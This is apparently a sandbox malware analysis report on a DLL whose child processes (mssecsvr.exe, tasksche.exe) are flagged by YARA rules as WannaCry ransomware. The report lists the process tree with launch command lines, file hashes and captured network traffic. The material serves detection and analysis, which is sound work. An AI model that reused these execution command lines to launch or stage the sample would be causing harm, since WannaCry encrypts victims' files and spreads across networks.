2022-07-20 17:34:14 UTC	9019	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 61 66 34 33 33 32 31 65 62 31 30 64 36 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: ecaf43321eb10d6e
2022-07-20 17:34:14 UTC	9019	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:34:14 UTC	9019	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 61 66 34 33 33 32 31 65 62 31 30 64 36 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: ecaf43321eb10d6e<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:34:14 UTC	9020	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 61 66 34 33 33 32 31 65 62 31 30 64 36 65 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: ecaf43321eb10d6e
2022-07-20 17:34:14 UTC	9021	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:34:14 UTC	9021	IN	Data Raw: 4d 53 2d 43 56 3a 20 59 4e 61 6e 75 71 79 78 69 6b 53 62 36 71 52 32 59 35 6a 33 31 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: YNanuqyxikSb6qR2Y5j31g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.7	64727	20.190.159.68	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:34:44 UTC	9021	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 17:34:44 UTC	9021	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:34:44 UTC	9031	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:33:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 47455289-797e-4406-a5db-f8280392ee91 PPServer: PPV: 30 H: BL02PF94B5A17C6 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:34:44 GMT Connection: close Content-Length: 10109
2022-07-20 17:34:44 UTC	9031	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.7	50108	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:37 UTC	159	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 17:30:37 UTC	160	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:30:37 UTC	176	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:29:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: fdb566ae-beb7-4533-afa2-6b7917808213 PPServer: PPV: 30 H: BL02PF6A4985162 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:30:37 GMT Connection: close Content-Length: 11093
2022-07-20 17:30:37 UTC	176	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.7	64726	20.190.159.68	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:34:44 UTC	9021	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 17:34:44 UTC	9026	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:34:44 UTC	9041	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:33:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 3e84ae37-1250-46dc-a822-e97ca3ad631a PPServer: PPV: 30 H: BL02PF419C15047 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:34:43 GMT Connection: close Content-Length: 10109
2022-07-20 17:34:44 UTC	9042	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.7	64977	20.190.159.68	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:34:46 UTC	9051	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4683 Host: login.live.com
2022-07-20 17:34:46 UTC	9052	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:34:46 UTC	9056	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:33:46 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 7f6ad2ba-4b43-4412-b290-aea5ab104854 PPServer: PPV: 30 H: BL02PFA43EF0B77 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:34:45 GMT Connection: close Content-Length: 10109
2022-07-20 17:34:46 UTC	9057	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 6280, Parent PID: 3016

General

Target ID:	0
Start time:	19:30:01
Start date:	20/07/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll"
Imagebase:	0xd00000
File size:	116736 bytes
MD5 hash:	7DEB5DB86C0AC789123DEC286286B938
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 4944, Parent PID: 6280

General

Target ID:	1
Start time:	19:30:01
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll",#1
Imagebase:	0xdd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6136, Parent PID: 6280

General

Target ID:	2
Start time:	19:30:02
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\goN6vVlV2F.dll,PlayGame
Imagebase:	0xc60000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6392, Parent PID: 4944

General

Target ID:	3
Start time:	19:30:02
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll",#1
Imagebase:	0xc60000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 3564, Parent PID: 6392

General

Target ID:	4
Start time:	19:30:03
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	194F97335AE6E66ED6F540FD3401B582
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.376518718.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.373732316.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000002.386641077.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.375076544.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.371236467.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 86%, Metadefender, Browse Detection: 98%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 1608, Parent PID: 6280

General

Target ID:	5
Start time:	19:30:05
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll",PlayGame
Imagebase:	0xc60000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 3252, Parent PID: 1608

General

Target ID:	6
Start time:	19:30:06
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	194F97335AE6E66ED6F540FD3401B582
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000002.388787392.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.379857327.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.377766453.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.376559457.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.382468537.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 6236, Parent PID: 604

General

Target ID:	7
Start time:	19:30:07
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe -m security
Imagebase:	0x400000
File size:	2281472 bytes
MD5 hash:	194F97335AE6E66ED6F540FD3401B582
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000002.978124182.000000000042E000.00000004.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000007.00000000.379947930.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: tasksche.exePID: 5684, Parent PID: 3252

General

Target ID:	9
Start time:	19:30:11
Start date:	20/07/2022
Path:	C:\Windows\tasksche.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\tasksche.exe /i
Imagebase:	0x400000
File size:	2061938 bytes
MD5 hash:	9494E383608D476886FF411EA3114831
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira
Reputation:	low

Show Windows behavior

Chronological Activities

